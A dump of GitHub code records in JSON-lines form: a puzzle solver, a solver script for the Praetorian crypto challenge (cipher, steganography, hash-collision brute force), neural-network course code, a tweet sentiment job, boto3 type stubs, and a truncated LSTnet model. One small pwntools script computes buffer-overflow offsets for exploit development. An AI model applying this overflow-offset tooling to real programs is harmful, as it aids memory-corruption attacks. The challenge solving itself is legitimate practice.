+= 1\n if m > 0:\n m = 0\n j += 1\n if j >= 3:\n return 0\n elif word[i] == '_':\n m = 0\n j = 0\n return 1\n return 1 if l > 0 else 0\n\ncnt = 0\nunder_bar = set()\nres = []\nmy_bool = False\ndef funny_word(word):\n global cnt\n idx = find_underbar(word)\n\n if idx == None:\n cnt += check(word)\n\n else:\n under_bar.add(idx)\n for alpha in alphabet:\n word[idx] = alpha\n if check(word):\n funny_word(word)\n word[idx] = '_'\n\nfunny_word(word)\nprint(cnt)","repo_name":"Mingdoo/algorithm_ct","sub_path":"algorithm/baekjoon/2922_즐거운단어/s1.py","file_name":"s1.py","file_ext":"py","file_size_in_byte":1121,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"336736380","text":"import requests\nimport base64\nimport json\nimport zlib\nfrom itertools import permutations, combinations_with_replacement\n\n## Globals\n##email = 'johnsmith@email.com'\nemail = input(\"Enter your email address: \")\nbaseURL = \"http://crypto.praetorian.com\"\n\nr = requests.post('{url}/api-token-auth/'.format(url=baseURL), data={'email':email})\nauth_token = r.json()['token']\nr.close()\n\nheaders = {'Authorization':\"JWT {}\".format(auth_token)}\nhashes = {}\n\n\n## -----------------------------------------------------------------------------\n## Communication Code\n\n## Save hash to '{email}_hashes.txt' if avalible\ndef save_hashes():\n global hashes\n print(\"Saving hashes to \" + email + \"_hashes.txt\")\n with open(email + \"_hashes.txt\", \"w\") as f:\n f.write(\"Email: {}\\n\".format(email))\n f.write(\"Hashes:\\n\")\n for i in range(len(hashes)):\n f.write(\" {}: {}\\n\".format(i, hashes[i]))\n\n## Get challenge data and hint\ndef get_challenge(level_num):\n global baseURL, headers\n url = '{url}/challenge/{level_num}/'\n requestURL = url.format(url=baseURL, level_num=level_num)\n response = requests.get(requestURL, headers=headers)\n response.close()\n \n if response.status_code != 200:\n raise Exception(response.json()['detail'])\n\n return response.json()\n\n## Send a guess\ndef submit_guess(level_num, guess):\n global baseURL, headers\n url = '{url}/challenge/{level_num}/'\n requestURL = url.format(url=baseURL, level_num=level_num)\n response = requests.post(requestURL, headers=headers, data={'guess':guess})\n response.close()\n\n if response.status_code != 200:\n raise Exception(response.json()['detail'])\n\n if 'hash' in response.json():\n hashes[level_num] = response.json()['hash']\n return True\n\n return False\n\n## Challenge data is flag\ndef solve_level_0(data):\n flag = data['challenge']\n \n if submit_guess(0, flag):\n return flag\n\n raise Exception(\"Failed Level 0\".format(flag))\n\n## Caesar Cipher\ndef solve_level_1(data):\n cipher = data['challenge']\n flag = ''\n\n for char in cipher:\n if (char.isupper()):\n flag += chr((ord(char) + 3 - 65) % 26 + 65)\n else:\n flag += chr((ord(char) + 3 - 97) % 26 + 97)\n\n if submit_guess(1, flag):\n return flag\n \n raise Exception(\"Failed Level 1: {}\".format(flag))\n\n## Flag is hidden in the HCKR chunk.\ndef solve_level_2(data):\n png = base64.b64decode(data['challenge'].split(',')[1])\n index = png.find(b'HCKR') + 4\n flag = ''\n\n while png[index] < 128 and chr(png[index]).isalpha():\n flag += chr(png[index])\n index += 1\n\n ## Sometime the bytes following the flag happen to be ascii letters.\n original_flag = flag\n while not submit_guess(2, flag):\n flag = flag[:-1]\n if len(flag) == 0:\n raise Exception(\"Failed Level 2: {}\".format(original_flag))\n\n return flag\n\n## Steganography\n## Letters of the code are disguised as pixel values in the PNG.\ndef solve_level_3(data):\n png = base64.b64decode(data['challenge'].split(',')[1])\n start = png.find(b'IDAT') + 4\n end = png.find(b'IEND')\n pixels = zlib.decompress(png[start:end])\n caps_count = 0\n\n flag = ''\n\n for byte in pixels:\n if byte < 128 and chr(byte).isalpha():\n if chr(byte).isupper():\n caps_count += 1\n if caps_count == 4:\n break\n flag += chr(byte)\n\n if submit_guess(3, flag):\n return flag\n\n raise Exception(\"Failed Level 3: {}\".format(flag))\n\n## Obfuscation\n## Due to the small hash output space 2^16 we can brute force a collision.\ndef solve_level_4(data):\n password_hash = int(data['challenge'].split()[-1], 16)\n flag = ''\n\n ## Unobfuscated hash function\n def hash_func(password):\n _hash = 0xBEEF\n\n for i, byte in enumerate(password):\n _hash = _hash ^ (byte * 0xBABE) ^ (0xFACE * i)\n _hash = _hash & 0xFFFF\n \n return _hash\n\n alphabet = [ord(c) for c in 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ']\n\n for i in range(1, 6):\n combos = combinations_with_replacement(alphabet, i)\n for combo in combos:\n perms = permutations(combo, i)\n for perm in perms:\n if hash_func(perm) == password_hash:\n flag = ''.join([chr(n) for n in perm])\n if submit_guess(4, flag):\n return flag\n raise Exception(\"Failed Level 4: {}\".format(flag))\n \n raise Exception(\"Failed Level 4: {}\".format(flag))\n\n## ----------------------------------------------------------------------------------------------\n## Play the game\n \nif __name__ == '__main__':\n solvers = [solve_level_0, solve_level_1, solve_level_2, solve_level_3, solve_level_4]\n \n for level_num, solver in enumerate(solvers):\n data = get_challenge(level_num)\n flag = solver(data)\n print('Level {} Flag: {}'.format(level_num, flag))\n\n print()\n print(\"Level Hashes\")\n for k in hashes:\n print(\"{}: {}\".format(k, hashes[k]))\n\n print()\n save_hashes()\n\n\n\n\n \n","repo_name":"justin-qu/Praetorian_Coding_Challenges","sub_path":"Crypto/crypto.py","file_name":"crypto.py","file_ext":"py","file_size_in_byte":5177,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"3038050439","text":"import numpy as np\nimport h5py\nimport matplotlib.pyplot as plt\nimport week4.testCases\nfrom week4.dnn_utils import sigmoid, sigmoid_backward, relu, relu_backward\nimport week4.lr_utils\n\nnp.random.seed(1)\n\n\n# 多层神经网络\ndef initialize_parameters_deep(layers_dims):\n '''\n\n :param layers_dims:网络中每个层中的节点数量的列表\n :return:\n parameters - 包含参数“W1”,“b1”,...,“WL”,“bL”的字典:\n Wl - 权重矩阵,维度为(layers_dims [l],layers_dims [l-1])\n bl - 偏向量,维度为(layers_dims [l],1)\n\n '''\n\n np.random.seed(3)\n parameters = {}\n L = len(layers_dims)\n\n for l in range(1, L):\n parameters[\"W\" + str(l)] = np.random.randn(layers_dims[l], layers_dims[l - 1]) / np.sqrt(layers_dims[l - 1])\n parameters[\"b\" + str(l)] = np.zeros((layers_dims[l], 1))\n\n assert (parameters[\"W\" + str(l)].shape == (layers_dims[l], layers_dims[l - 1]))\n assert (parameters[\"b\" + str(l)].shape == (layers_dims[l], 1))\n\n return parameters\n\n\n# 前向传播中线性部分\ndef linear_forward(A, W, b):\n '''\n\n :param A:来自上一层(或输入数据)的激活,维度为(上一层的节点数量,示例的数量)\n :param W:权重矩阵,numpy数组,维度为(当前图层的节点数量,前一图层的节点数量)\n :param b:偏向量,numpy向量,维度为(当前图层节点数量,1)\n :return:\n Z:激活功能的输入,也称为预激活参数\n cache:一个包含“A”,“W”和“b”的字典,存储这些变量以有效地计算后向传递\n '''\n\n Z = np.dot(W, A) + b\n assert (Z.shape == (W.shape[0], A.shape[1]))\n cache = (A, W, b)\n\n return Z, cache\n\n\n# 线性激活部分函数\ndef linear_activation_forward(A_prev, W, b, activation):\n '''\n\n :param A_prev:来自上一层(或输入层)的激活,维度为(上一层的节点数量,示例数)\n :param W:权重矩阵,numpy数组,维度为(当前层的节点数量,前一层的大小)\n :param b:偏向量,numpy阵列,维度为(当前层的节点数量,1)\n :param activation:选择在此层中使用的激活函数名,字符串类型,【\"sigmoid\" | \"relu\"】\n :return:\n A:激活函数的输出,也称为激活后的值\n cache - 一个包含“linear_cache”和“activation_cache”的字典,我们需要存储它以有效地计算后向传递\n '''\n\n if activation == \"sigmoid\":\n Z, linear_cache = linear_forward(A_prev, W, b)\n A, activation_cache = sigmoid(Z)\n elif activation == \"relu\":\n Z, linear_cache = linear_forward(A_prev, W, b)\n A, activation_cache = relu(Z)\n\n assert (A.shape == (W.shape[0], A_prev.shape[1]))\n cache = (linear_cache, activation_cache)\n\n return A, cache\n\n\n# 多层模型的前向传播\ndef L_model_forward(X, parameters):\n '''\n\n :param X:数据,numpy数组,维度为(输入节点数量,示例数)\n :param parameters:initialize_parameters_deep()的输出\n :return:\n AL:最后的激活值\n caches:包含以下内容的缓存列表:\n linear_relu_forward()的每个cache(有L-1个,索引为从0到L-2)\n linear_sigmoid_forward()的cache(只有一个,索引为L-1)\n '''\n\n caches = []\n A = X\n L = len(parameters) // 2\n\n for l in range(1, L):\n A_prev = A\n A, cache = linear_activation_forward(A_prev, parameters[\"W\" + str(l)], parameters[\"b\" + str(l)], \"relu\")\n caches.append(cache)\n\n AL, cache = linear_activation_forward(A, parameters[\"W\" + str(L)], parameters[\"b\" + str(L)], \"sigmoid\")\n caches.append(cache)\n\n assert (AL.shape == (1, X.shape[1]))\n\n return AL, caches\n\n\n# 计算成本\ndef compute_cost(AL, Y):\n '''\n\n :param AL:与标签预测相对应的概率向量,维度为(1,示例数量)\n :param Y:标签向量(例如:如果不是猫,则为0,如果是猫则为1),维度为(1,数量)\n :return:\n cost:交叉熵成本\n '''\n\n m = Y.shape[1]\n cost = -np.sum(np.multiply(np.log(AL), Y) + np.multiply(np.log(1 - AL), 1 - Y)) / m\n cost = np.squeeze(cost)\n\n assert (cost.shape == ())\n\n return cost\n\n\n# 向后传播线性部分\ndef linear_backward(dZ, cache):\n '''\n\n :param dZ:相对于(当前第l层的)线性输出的成本梯度\n :param cache:来自当前层前向传播的值的元组(A_prev,W,b)\n :return:\n dA_prev:相对于激活(前一层l-1)的成本梯度,与A_prev维度相同\n dW:相对于W(当前层l)的成本梯度,与W的维度相同\n db:相对于b(当前层l)的成本梯度,与b维度相同\n '''\n\n A_pre, W, b = cache\n m = A_pre.shape[1]\n dW = np.dot(dZ, A_pre.T) / m\n db = np.sum(dZ, axis=1, keepdims=True) / m\n dA_prev = np.dot(W.T, dZ)\n\n assert (dA_prev.shape == A_pre.shape)\n assert (dW.shape == W.shape)\n assert (db.shape == b.shape)\n\n return dA_prev, dW, db\n\n\n# 向后传播线性激活部分\ndef linear_activation_backward(dA, cache, activation=\"relu\"):\n '''\n\n :param dA:当前层l的激活后的梯度值\n :param cache:存储的用于有效计算反向传播的值的元组(值为linear_cache,activation_cache)\n :param activation:要在此层中使用的激活函数名,字符串类型,【\"sigmoid\" | \"relu\"】\n :return:\n dA_prev:相对于激活(前一层l-1)的成本梯度,与A_prev维度相同\n dW:相对于W(当前层l)的成本梯度,与W的维度相同\n db:相对于b(当前层l)的成本梯度,与b维度相同\n '''\n\n linear_cache, activation_cache = cache\n if activation == \"relu\":\n dZ = relu_backward(dA, activation_cache)\n dA_prev, dW, db = linear_backward(dZ, linear_cache)\n elif activation == \"sigmoid\":\n dZ = sigmoid_backward(dA, activation_cache)\n dA_prev, dW, db = linear_backward(dZ, linear_cache)\n\n return dA_prev, dW, db\n\n\n# 多层模型的向后传播函数\ndef L_model_backward(AL, Y, caches):\n '''\n\n :param AL:概率向量,正向传播的输出(L_model_forward())\n :param Y:标签向量(例如:如果不是猫,则为0,如果是猫则为1),维度为(1,数量)\n :param caches:包含以下内容的cache列表:\n linear_activation_forward(\"relu\")的cache,不包含输出层\n linear_activation_forward(\"sigmoid\")的cache\n :return:\n grads:具有梯度值的字典\n grads [“dA”+ str(l)] = ...\n grads [“dW”+ str(l)] = ...\n grads [“db”+ str(l)] = ...\n '''\n\n grads = {}\n L = len(caches)\n m = AL.shape[1]\n Y = Y.reshape(AL.shape)\n dAL = - (np.divide(Y, AL) - np.divide(1 - Y, 1 - AL))\n\n current_cache = caches[L - 1]\n grads[\"dA\" + str(L)], grads[\"dW\" + str(L)], grads[\"db\" + str(L)] = linear_activation_backward(dAL, current_cache,\n \"sigmoid\")\n for l in reversed(range(L - 1)):\n current_cache = caches[l]\n dA_prev_temp, dW_temp, db_temp = linear_activation_backward(grads[\"dA\" + str(l + 2)], current_cache, \"relu\")\n grads[\"dA\" + str(l + 1)] = dA_prev_temp\n grads[\"dW\" + str(l + 1)] = dW_temp\n grads[\"db\" + str(l + 1)] = db_temp\n\n return grads\n\n\n# 更新参数\ndef update_parameters(parameters, grads, lr):\n '''\n\n :param parameters:参数的字典\n :param grads:梯度值的字典\n :param lr:学习率\n :return:\n parameters:包含更新参数的字典\n 参数[“W”+ str(l)] = ...\n 参数[“b”+ str(l)] = ...\n '''\n\n L = len(parameters) // 2\n for l in range(L):\n parameters[\"W\" + str(l + 1)] = parameters[\"W\" + str(l + 1)] - lr * grads[\"dW\" + str(l + 1)]\n parameters[\"b\" + str(l + 1)] = parameters[\"b\" + str(l + 1)] - lr * grads[\"db\" + str(l + 1)]\n\n return parameters\n\n\n# 搭建多层神经网络\ndef L_layer_model(X, Y, layer_dims, lr=0.0075, num_iterations=3000, print_cost=False, isPlot=True):\n '''\n\n :param X:输入的数据,维度为(n_x,例子数)\n :param Y:标签,向量,0为非猫,1为猫,维度为(1,数量)\n :param layer_dims:层数的向量,维度为(n_y,n_h,···,n_h,n_y)\n :param lr:学习率\n :param num_iterations:迭代的次数\n :param print_cost:是否打印成本值,每100次打印一次\n :param isPlot:是否绘制出误差值的图谱\n :return:\n parameters:模型学习的参数。 然后他��可以用来预测\n '''\n\n np.random.seed(1)\n costs = []\n\n parameters = initialize_parameters_deep(layer_dims)\n\n for i in range(0, num_iterations):\n AL, caches = L_model_forward(X, parameters)\n\n cost = compute_cost(AL, Y)\n\n grads = L_model_backward(AL, Y, caches)\n\n parameters = update_parameters(parameters, grads, lr)\n\n if i % 100 == 0:\n costs.append(cost)\n if print_cost:\n print(\"第\", i, \"次迭代,成本值为:\", np.squeeze(cost))\n\n if isPlot:\n plt.plot(np.squeeze(costs))\n plt.ylabel('cost')\n plt.xlabel('iterations (per tens)')\n plt.title(\"Learning rate =\" + str(lr))\n plt.show()\n\n return parameters\n\n\n# 预测\ndef predict(X, y, parameters):\n '''\n\n :param X:测试集\n :param y:标签\n :param parameters:训练模型的参数\n :return:\n p:给定数据集X的预测\n '''\n\n m = X.shape[1]\n # 神经网络的层数\n n = len(parameters) // 2\n p = np.zeros((1, m))\n\n #根据参数前向传播\n probas, caches = L_model_forward(X, parameters)\n\n for i in range(0, probas.shape[1]):\n if probas[0, i] > 0.5:\n p[0,i] = 1\n else:\n p[0,i] = 0\n\n print(\"准确度为: \" + str(float(np.sum((p == y)) / m)))\n\n return p\n\n\nif __name__ == '__main__':\n # 加载数据\n train_set_x_orig, train_set_y, test_set_x_orig, test_set_y, classes = week4.lr_utils.load_dataset()\n\n train_x_flatten = train_set_x_orig.reshape(train_set_x_orig.shape[0], -1).T\n test_x_flatten = test_set_x_orig.reshape(test_set_x_orig.shape[0], -1).T\n\n train_x = train_x_flatten / 255\n train_y = train_set_y\n test_x = test_x_flatten / 255\n test_y = test_set_y\n\n layers_dims = [12288, 20, 7, 5, 1] # 5-layer model\n parameters = L_layer_model(train_x, train_y, layers_dims, num_iterations=2500, print_cost=True, isPlot=True)\n\n # 预测\n pred_train = predict(train_x, train_y, parameters) # 训练集\n pred_test = predict(test_x, test_y, parameters) # 测试集\n","repo_name":"wkrkk/StudyNotes","sub_path":"DeepLearning/course1/week4/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":10811,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"6156061888","text":"import re\nimport pymongo\nfrom textblob import TextBlob\n\nMONGODB_HOST = \"localhost\"\nMONGODB_PORT = \"27017\"\nMONGODB_TIMEOUT = 10000\nURI_CONNECTION = \"mongodb://\" + MONGODB_HOST + \":\" + MONGODB_PORT + \"/\"\n\n\ndef clean_tweet(tweet):\n return \" \".join(re.sub(\"(@[A-Za-z0-9]+)|([^0-9A-Za-z \\t])|(\\w+:\\ / \\ / \\S+)\", \" \", tweet).split())\n\n\ndef get_tweet_sentiment(tweet):\n analysis = TextBlob(clean_tweet(tweet))\n return analysis\n\n\nprint(\"###################### Start process #####################\")\nclient = pymongo.MongoClient(URI_CONNECTION, retryWrites=False, serverSelectionTimeoutMS=MONGODB_TIMEOUT)\ndb = client[\"Grupo09\"]\ntweets = db[\"tweets\"]\ntags = db[\"tags\"]\nhashtags = db[\"hashtags\"]\n\n# lstTweet = tweets.find()\n# lstTweet = tweets.find(limit=100)\nlstTweet = tweets.find({\"subjectivity\": None}, limit=100)\n\nfor tweet in lstTweet:\n analysis = get_tweet_sentiment(tweet[\"text\"])\n scale = \"\"\n\n if analysis.sentiment.polarity > 0.5:\n scale = \"excelente\"\n elif analysis.sentiment.polarity > 0:\n scale = \"bueno\"\n elif analysis.sentiment.polarity == 0:\n scale = \"neutral\"\n elif analysis.sentiment.polarity < -0.5:\n scale = \"deficiente\"\n elif analysis.sentiment.polarity < 0:\n scale = \"malo\"\n\n print(\"###################### Sentiment #####################\")\n tweets.update({\"_id\": tweet[\"_id\"]}, {\"$set\":\n {\n \"polarity\": analysis.sentiment.polarity,\n \"scale\": scale,\n \"subjectivity\": analysis.sentiment.subjectivity\n }})\n\n print(\"###################### Tags #####################\")\n for tag in analysis.tags:\n insert_tag = \\\n {\n \"tweet_id\": tweet[\"id\"],\n \"author_id\": tweet[\"author_id\"],\n \"word\": tag[0],\n \"tag\": tag[1]\n }\n tags.insert(insert_tag)\n\n print(\"###################### Hashtags #####################\")\n lstHashtag = re.findall(r\"#(\\w+)\", tweet[\"text\"])\n for hashtag in lstHashtag:\n insert_hashtag = \\\n {\n \"tweet_id\": tweet[\"id\"],\n \"author_id\": tweet[\"author_id\"],\n \"hashtag\": \"#{0}\".format(hashtag)\n }\n hashtags.insert(insert_hashtag)\n\nprint(\"OK -- Connected to MongoDB at server %s\" % (MONGODB_HOST))\nclient.close()\nprint(\"###################### Finish process #####################\")\n","repo_name":"nicxleo/202020-Grupo09","sub_path":"aplicaciones/taller_2/job_taller_2/process.py","file_name":"process.py","file_ext":"py","file_size_in_byte":2400,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"370632981","text":"from pwn import *\nimport sys\nimport logging\n\np = cyclic(20000,n=8)\nif len(sys.argv) < 2:\n logging.error('usage: python3 pattern.py 0xdeadbeef')\n exit()\n\naddress = sys.argv[1]\nif '0x' in address:\n address = address[2:]\n my_string = bytes.fromhex(address).decode('utf-8')\n my_string = my_string[::-1]\n print(f'padding is : {p.index(my_string.encode())}')\n \n","repo_name":"ghostinthefingers/find_pattern","sub_path":"pattern.py","file_name":"pattern.py","file_ext":"py","file_size_in_byte":376,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"81"} +{"seq_id":"10323719149","text":"\"\"\"\nType annotations for dax service client paginators.\n\n[Open documentation](https://vemel.github.io/boto3_stubs_docs/mypy_boto3_dax/paginators.html)\n\nUsage::\n\n ```python\n import boto3\n\n from mypy_boto3_dax import DAXClient\n from mypy_boto3_dax.paginator import (\n DescribeClustersPaginator,\n DescribeDefaultParametersPaginator,\n DescribeEventsPaginator,\n DescribeParameterGroupsPaginator,\n DescribeParametersPaginator,\n DescribeSubnetGroupsPaginator,\n ListTagsPaginator,\n )\n\n client: DAXClient = boto3.client(\"dax\")\n\n describe_clusters_paginator: DescribeClustersPaginator = client.get_paginator(\"describe_clusters\")\n describe_default_parameters_paginator: DescribeDefaultParametersPaginator = client.get_paginator(\"describe_default_parameters\")\n describe_events_paginator: DescribeEventsPaginator = client.get_paginator(\"describe_events\")\n describe_parameter_groups_paginator: DescribeParameterGroupsPaginator = client.get_paginator(\"describe_parameter_groups\")\n describe_parameters_paginator: DescribeParametersPaginator = client.get_paginator(\"describe_parameters\")\n describe_subnet_groups_paginator: DescribeSubnetGroupsPaginator = client.get_paginator(\"describe_subnet_groups\")\n list_tags_paginator: ListTagsPaginator = client.get_paginator(\"list_tags\")\n ```\n\"\"\"\nfrom datetime import datetime\nfrom typing import Iterator, List, Union\n\nfrom botocore.paginate import Paginator as Boto3Paginator\n\nfrom .literals import SourceTypeType\nfrom .type_defs import (\n DescribeClustersResponseTypeDef,\n DescribeDefaultParametersResponseTypeDef,\n DescribeEventsResponseTypeDef,\n DescribeParameterGroupsResponseTypeDef,\n DescribeParametersResponseTypeDef,\n DescribeSubnetGroupsResponseTypeDef,\n ListTagsResponseTypeDef,\n PaginatorConfigTypeDef,\n)\n\n__all__ = (\n \"DescribeClustersPaginator\",\n \"DescribeDefaultParametersPaginator\",\n \"DescribeEventsPaginator\",\n \"DescribeParameterGroupsPaginator\",\n \"DescribeParametersPaginator\",\n \"DescribeSubnetGroupsPaginator\",\n \"ListTagsPaginator\",\n)\n\nclass DescribeClustersPaginator(Boto3Paginator):\n \"\"\"\n [Show boto3 documentation](https://boto3.amazonaws.com/v1/documentation/api/1.26.121/reference/services/dax.html#DAX.Paginator.DescribeClusters)\n [Show boto3-stubs documentation](https://vemel.github.io/boto3_stubs_docs/mypy_boto3_dax/paginators.html#describeclusterspaginator)\n \"\"\"\n\n def paginate(\n self, *, ClusterNames: List[str] = None, PaginationConfig: PaginatorConfigTypeDef = None\n ) -> Iterator[DescribeClustersResponseTypeDef]:\n \"\"\"\n [Show boto3 documentation](https://boto3.amazonaws.com/v1/documentation/api/1.26.121/reference/services/dax.html#DAX.Paginator.DescribeClusters.paginate)\n [Show boto3-stubs documentation](https://vemel.github.io/boto3_stubs_docs/mypy_boto3_dax/paginators.html#describeclusterspaginator)\n \"\"\"\n\nclass DescribeDefaultParametersPaginator(Boto3Paginator):\n \"\"\"\n [Show boto3 documentation](https://boto3.amazonaws.com/v1/documentation/api/1.26.121/reference/services/dax.html#DAX.Paginator.DescribeDefaultParameters)\n [Show boto3-stubs documentation](https://vemel.github.io/boto3_stubs_docs/mypy_boto3_dax/paginators.html#describedefaultparameterspaginator)\n \"\"\"\n\n def paginate(\n self, *, PaginationConfig: PaginatorConfigTypeDef = None\n ) -> Iterator[DescribeDefaultParametersResponseTypeDef]:\n \"\"\"\n [Show boto3 documentation](https://boto3.amazonaws.com/v1/documentation/api/1.26.121/reference/services/dax.html#DAX.Paginator.DescribeDefaultParameters.paginate)\n [Show boto3-stubs documentation](https://vemel.github.io/boto3_stubs_docs/mypy_boto3_dax/paginators.html#describedefaultparameterspaginator)\n \"\"\"\n\nclass DescribeEventsPaginator(Boto3Paginator):\n \"\"\"\n [Show boto3 documentation](https://boto3.amazonaws.com/v1/documentation/api/1.26.121/reference/services/dax.html#DAX.Paginator.DescribeEvents)\n [Show boto3-stubs documentation](https://vemel.github.io/boto3_stubs_docs/mypy_boto3_dax/paginators.html#describeeventspaginator)\n \"\"\"\n\n def paginate(\n self,\n *,\n SourceName: str = None,\n SourceType: SourceTypeType = None,\n StartTime: Union[datetime, str] = None,\n EndTime: Union[datetime, str] = None,\n Duration: int = None,\n PaginationConfig: PaginatorConfigTypeDef = None\n ) -> Iterator[DescribeEventsResponseTypeDef]:\n \"\"\"\n [Show boto3 documentation](https://boto3.amazonaws.com/v1/documentation/api/1.26.121/reference/services/dax.html#DAX.Paginator.DescribeEvents.paginate)\n [Show boto3-stubs documentation](https://vemel.github.io/boto3_stubs_docs/mypy_boto3_dax/paginators.html#describeeventspaginator)\n \"\"\"\n\nclass DescribeParameterGroupsPaginator(Boto3Paginator):\n \"\"\"\n [Show boto3 documentation](https://boto3.amazonaws.com/v1/documentation/api/1.26.121/reference/services/dax.html#DAX.Paginator.DescribeParameterGroups)\n [Show boto3-stubs documentation](https://vemel.github.io/boto3_stubs_docs/mypy_boto3_dax/paginators.html#describeparametergroupspaginator)\n \"\"\"\n\n def paginate(\n self,\n *,\n ParameterGroupNames: List[str] = None,\n PaginationConfig: PaginatorConfigTypeDef = None\n ) -> Iterator[DescribeParameterGroupsResponseTypeDef]:\n \"\"\"\n [Show boto3 documentation](https://boto3.amazonaws.com/v1/documentation/api/1.26.121/reference/services/dax.html#DAX.Paginator.DescribeParameterGroups.paginate)\n [Show boto3-stubs documentation](https://vemel.github.io/boto3_stubs_docs/mypy_boto3_dax/paginators.html#describeparametergroupspaginator)\n \"\"\"\n\nclass DescribeParametersPaginator(Boto3Paginator):\n \"\"\"\n [Show boto3 documentation](https://boto3.amazonaws.com/v1/documentation/api/1.26.121/reference/services/dax.html#DAX.Paginator.DescribeParameters)\n [Show boto3-stubs documentation](https://vemel.github.io/boto3_stubs_docs/mypy_boto3_dax/paginators.html#describeparameterspaginator)\n \"\"\"\n\n def paginate(\n self,\n *,\n ParameterGroupName: str,\n Source: str = None,\n PaginationConfig: PaginatorConfigTypeDef = None\n ) -> Iterator[DescribeParametersResponseTypeDef]:\n \"\"\"\n [Show boto3 documentation](https://boto3.amazonaws.com/v1/documentation/api/1.26.121/reference/services/dax.html#DAX.Paginator.DescribeParameters.paginate)\n [Show boto3-stubs documentation](https://vemel.github.io/boto3_stubs_docs/mypy_boto3_dax/paginators.html#describeparameterspaginator)\n \"\"\"\n\nclass DescribeSubnetGroupsPaginator(Boto3Paginator):\n \"\"\"\n [Show boto3 documentation](https://boto3.amazonaws.com/v1/documentation/api/1.26.121/reference/services/dax.html#DAX.Paginator.DescribeSubnetGroups)\n [Show boto3-stubs documentation](https://vemel.github.io/boto3_stubs_docs/mypy_boto3_dax/paginators.html#describesubnetgroupspaginator)\n \"\"\"\n\n def paginate(\n self, *, SubnetGroupNames: List[str] = None, PaginationConfig: PaginatorConfigTypeDef = None\n ) -> Iterator[DescribeSubnetGroupsResponseTypeDef]:\n \"\"\"\n [Show boto3 documentation](https://boto3.amazonaws.com/v1/documentation/api/1.26.121/reference/services/dax.html#DAX.Paginator.DescribeSubnetGroups.paginate)\n [Show boto3-stubs documentation](https://vemel.github.io/boto3_stubs_docs/mypy_boto3_dax/paginators.html#describesubnetgroupspaginator)\n \"\"\"\n\nclass ListTagsPaginator(Boto3Paginator):\n \"\"\"\n [Show boto3 documentation](https://boto3.amazonaws.com/v1/documentation/api/1.26.121/reference/services/dax.html#DAX.Paginator.ListTags)\n [Show boto3-stubs documentation](https://vemel.github.io/boto3_stubs_docs/mypy_boto3_dax/paginators.html#listtagspaginator)\n \"\"\"\n\n def paginate(\n self, *, ResourceName: str, PaginationConfig: PaginatorConfigTypeDef = None\n ) -> Iterator[ListTagsResponseTypeDef]:\n \"\"\"\n [Show boto3 documentation](https://boto3.amazonaws.com/v1/documentation/api/1.26.121/reference/services/dax.html#DAX.Paginator.ListTags.paginate)\n [Show boto3-stubs documentation](https://vemel.github.io/boto3_stubs_docs/mypy_boto3_dax/paginators.html#listtagspaginator)\n \"\"\"\n","repo_name":"chrishollinworth/vscode-boto3-intellisense","sub_path":"typings/mypy_boto3/dax/paginator.pyi","file_name":"paginator.pyi","file_ext":"pyi","file_size_in_byte":8318,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"81"} +{"seq_id":"4300128499","text":"# implements the model according to the LSTnet algorithm\n\nimport gin\nimport tensorflow as tf\nfrom chronos.metrics import rmse, corr\n\n\n@gin.configurable\nclass LSTnet(object):\n def __init__(self,\n skip,\n highway,\n window,\n num_time_series,\n cnn_filters,\n cnn_kernel_size,\n cnn_kernel_init=tf.variance_scaling_initializer,\n cnn_dropout=0.2,\n cnn_batch_normalization=False,\n gru_units=100,\n skip_gru_units=5,\n learning_rate=1e-3,\n optimizer=\"SDG\",\n weight_regularization=1e-4,\n clip_gradients=10\n ):\n \"\"\"\n Construct LSTnet\n\n Args:\n skip(int): Number of time slots to skip for the skip connection RNN.\n window(int): Size of the time window of the input.\n num_time_series(int): The number of time-series in the input\n highway(int): Number of time slots to consider for the auto regressive layer. If zero no highway is used.\n cnn_filters(int): Number of filter for the CNN layer. If 0, no CNN is applied\n cnn_kernel_size(int): Size of the zero dimension of the cnn kernel.\n The other dimension is given by the number of time series variables.\n The resulting filter size is cnn_kernel_size x time_series\n cnn_kernel_init(func): Initializer for the cnn kernels\n cnn_dropout(float): In range [0, 1]\n cnn_batch_normalization(bool): Whether to apply batch norm after the cnn encoder\n gru_units(int): Number of units for the GRU cell\n skip_gru_units(int): Number of units for the skip gru rnn cell\n learning_rate(float): Learning rate of the optimizer\n optimizer(str): One of 'SDG', 'RMSProb' or 'Adam'\n weight_regularization(float): Factor to multiply the weight loss with before adding it to\n the prediction loss\n clip_gradients(float): Norm to clip gradient to.\n \"\"\"\n self.window = window\n self.skip = skip\n self.num_time_series = num_time_series\n assert highway < window, \"Highway larger than window is not possible\"\n assert skip < window, \"Skip larger than window is no possible\"\n\n ##############\n # CNN PARAMS #\n ##############\n assert 0 <= cnn_dropout <= 1, \"CNN dropout parameter is out of range\"\n self.cnn_filters = cnn_filters\n self.cnn_kernel_size = cnn_kernel_size\n self.cnn_kernel_init = cnn_kernel_init\n self.cnn_dropout = cnn_dropout\n self.cnn_batch_normalization = cnn_batch_normalization\n\n ##############\n # GRU PARAMS #\n ##############\n self.gru_units = gru_units\n self.skip_gru_units = skip_gru_units\n\n ######\n # AR #\n ######\n self.highway = highway\n\n ############\n # TRAINING #\n ############\n self.learning_rate = learning_rate\n assert optimizer in ['SDG', 'RMSProp', 'Adam'], \"invalid optimizer name {} must be \" \\\n \"one of 'SDG', 'RMSProb', 'Adam'\".format(optimizer)\n self.optimizer = optimizer\n self.weight_regularization = weight_regularization\n self.clip_gradients = clip_gradients\n\n def _convolutional_decoder(self, inputs, mode):\n \"\"\"\n Apply convolational layers to the input\n We convolve over a matrix of shape window(time) x feature_dim\n This operation can learn short term temporal dependencies since we convolve over time.\n\n Args:\n inputs(Tensor): Shape is batch_size, window, time_series_vars\n mode(tf.estiamtor.MODE_KEY): The mode.\n\n Returns:\n outputs(Tensor): Shape is batch_size, window, cnn_filters\n \"\"\"\n input_shape = inputs.get_shape().as_list()\n # make shape batch_size, window, time_series_vars, 1\n # 1 is the channel dim the 